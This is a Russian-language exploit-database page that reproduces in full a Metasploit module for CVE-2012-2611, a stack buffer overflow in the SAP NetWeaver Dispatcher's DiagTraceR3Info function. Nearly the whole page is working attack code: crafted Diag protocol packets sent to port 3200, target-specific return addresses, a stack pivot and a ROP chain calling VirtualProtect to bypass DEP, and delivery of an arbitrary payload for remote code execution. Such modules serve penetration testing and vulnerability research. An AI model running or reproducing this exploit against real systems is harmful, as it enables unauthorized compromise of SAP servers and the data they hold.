SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow Exploit

Свойства

Дата публикации:
06.09.2012
Цель:
SAP NetWeaver Dispatcher
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
                service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
                attacker to execute arbitrary code by supplying a special crafted Diag packet. The
                Dispatcher service is only vulnerable if the Developer Traces have been configured
                at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
                SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
            },
            'Author'      => [
                'Martin Gallo', # Vulnerability discovery and PoC
                'juan vazquez' # Metasploit module
            ],
            'References'     =>
                [
                    [ 'OSVDB', '81759' ],
                    [ 'CVE', '2012-2611' ],
                    [ 'BID', '53424' ],
                    [ 'EDB', '20705' ],
                    [ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities';],
                    [ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&;action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
                ],
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                    'EXITFUNC' => 'process'
                },
            'Payload'        =>
                {
                    'Space'    => 4000,
                    'BadChars' => "\x00",
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # disp+work.exe version 7200.70.18.23869
                    [
                        'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
                        {
                            'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
                        }
                    ],
                    [
                        'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
                        {
                            'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
                        }
                    ]
                ],
            'Privileged'     => false,
            'DefaultTarget'  => 1,
            'DisclosureDate' => 'May 8 2012'))

            register_options([Opt::RPORT(3200)], self.class)

    end

    def create_rop_chain()
        # ROP chains provided by Corelan.be
        # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
        rop_gadgets =
            [
                0x77bb2563, # POP EAX # RETN
                0x77ba1114, # <- *&VirtualProtect()
                0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                0x41414141, #junk
                0x77bb0c86, # XCHG EAX,ESI # RETN
                0x77bc9801, # POP EBP # RETN
                0x77be2265, # ptr to 'push esp #  ret'
                0x77bb2563, # POP EAX # RETN
                0x03C0A40F,
                0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
                0x77bb48d3, # POP EBX, RET
                0x77bf21e0, # .data
                0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                0x77bbfc02, # POP ECX # RETN
                0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                0x77bd8c04, # POP EDI # RETN
                0x77bd8c05, # ROP NOP (-> edi)
                0x77bb2563, # POP EAX # RETN
                0x03c0984f,
                0x77bdd441, # SUB EAX, 03c0940f
                0x77bb8285, # XCHG EAX,EDX # RETN
                0x77bb2563, # POP EAX # RETN
                0x90909090,#nop
                0x77be6591, # PUSHAD # ADD AL,0EF # RETN
            ].pack("V*")

        return rop_gadgets
    end

    def exploit

        peer = "#{rhost}:#{rport}"

        connect

        # initialize
        diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
        user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
        support_data = "\x10\x04\x0b\x00\x20"
        support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
        support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
        dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
        dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
        dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
        dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        dpheader << "terminalXXXXXXX"
        dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
        dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
        dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
        dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
        pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
        pkt << dpheader
        pkt << diagheader
        pkt << user_connect
        pkt << support_data
        print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
        sock.put(pkt)
        res = sock.get_once(-1)

        if not res
            print_error("#{peer} - The connection with the Dispatcher has not been initialized")
            return
        end

        # send message
        if target.name =~ /Windows XP SP3/
            crash = make_nops(112)
            crash << "\xeb\x02" # jmp over call pointer
            crash << [target.ret].pack("v")
            crash << make_nops(10) * 200
            crash << payload.encoded
        else # Windows 2003
            crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack
            crash << rand_text(2) # padding
            crash << [0x77bd7d82].pack("V") * 55  # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
            crash << [0x77bdf0da].pack("V")  # pop eax # ret from msvcrt
            crash << [target.ret].pack("V") # stackpivot
            crash << create_rop_chain
            crash << payload.encoded
        end

        print_status("#{peer} - Sending crafted message")
        message = "\x10\x06\x20" + [crash.length].pack("n") + crash
        diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
        step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
        eom = "\x0c"
        pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
        pkt << diagheader
        pkt << step
        pkt << message
        pkt << eom
        sock.put(pkt)

        disconnect
    end

end

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